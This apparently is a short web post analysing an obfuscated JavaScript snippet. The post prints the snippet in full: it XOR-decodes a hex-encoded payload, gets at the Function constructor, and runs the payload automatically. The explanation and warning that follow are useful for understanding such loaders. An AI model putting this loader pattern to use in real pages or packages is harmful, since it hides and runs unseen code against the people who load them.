The provided code is a complex and obfuscated JavaScript function,...

July 2, 2025 at 05:22 PM

S = 'xxxxxx'; (() => { const i = "bdd65fd0865d8e48898806a4", j = "150d0a525a114a5c57555410510a5a16504b5d5e100b4155160b061e55072c62581d12545b2d13131a740e74121d434d5a1d461d55043057581d12505a571313585a4d62501d015a340e041d123f09091f1d121174081313586f4274501d46042452431d55373254581d5529593254131a77086e121d46042055431d552b1e7e581d122b620c13131a01531a191d320f"; const u = j.match(/.{2}/g), T = []; for (let B = 0; B < u.length; B++) { T.push(String.fromCharCode(parseInt(u[B], 16) ^ i.charCodeAt(B % i.length))); } const s = T.join(''); const A = { toString: () => { const r = [][ [115,111,109,101].map(y => String.fromCharCode(y)).join('') ][ [99,111,110,115,116,114,117,99,116,111,114].map(y => String.fromCharCode(y)).join('') ]; return r(s)(), 1; } }; A + ''; })(); ]]>

The provided code is a complex and obfuscated JavaScript function, frequently a pattern seen in code intended to disguise its true functionality, such as in obfuscated malware, digital rights management tools, or challenges like Capture the Flag (CTF) puzzles.

Here’s a step-by-step explanation of what the code does:

  1. Initialization:

    • The code starts by creating two strings, i and j.
    • i is a shorter alphanumeric string ("bdd65fd0865d8e48898806a4").
    • j is a long string of hexadecimal numbers. Each two characters represent a byte in hexadecimal.
  2. Hex-Decoding and XOR Operation:

    • The match(/.{2}/g) splits the long hex string j into pairs of two characters, resulting in an array u (e.g., ["15", "0d", ...]).
    • Each of these pairs is parsed as a hexadecimal number using parseInt(u[B], 16) and is XORed with the corresponding character's ASCII code from string i (repeating i cyclically using B % i.length).
    • The result of every XOR operation is converted back to a character using String.fromCharCode and stored in the array T.
    • Once all characters are XORed and transformed, T is joined to form a decrypted string s.
  3. Dynamic Property Access:

    • A is an object with a toString method. This method is obfuscated using arrays and .map to decode two nested string values—some and constructor—dynamically converting ASCII character codes to strings.
    • When A.toString is called, it uses the constructor property of arrays ([].constructor) to obtain a reference to the global function constructor, typically Function in JavaScript.
  4. Dynamic Execution with Function:

    • The constructor is used to treat the string s (produced by the XOR operation) as JavaScript code, effectively executing it.
    • Essentially, s is dynamic JavaScript code stored as an obfuscated payload in this script. When decrypted, it is executed using Function.
  5. Final Invocation:

    • The trailing A + '' forces the .toString() method of the A object to be called, thereby triggering the decryption and execution of whatever payload exists within s.

Conclusion:

This code is designed to execute an obfuscated payload:

  • The j string is layered encryption—XORing with i produces a decrypted string s.
  • The string s is expected to be valid JavaScript code.
  • The code then dynamically executes the decrypted JavaScript.

Potential Behavior:

The actual behavior depends entirely on the content of s after decryption. It might:

  • Execute malicious code, such as data exfiltration or a Trojan.
  • Run benign code, like part of a coding puzzle.
  • Perform another stage of obfuscation/encryption.

Warning: Running this code is unsafe unless done in a secure environment (e.g., a sandbox) because it could contain malicious payloads.

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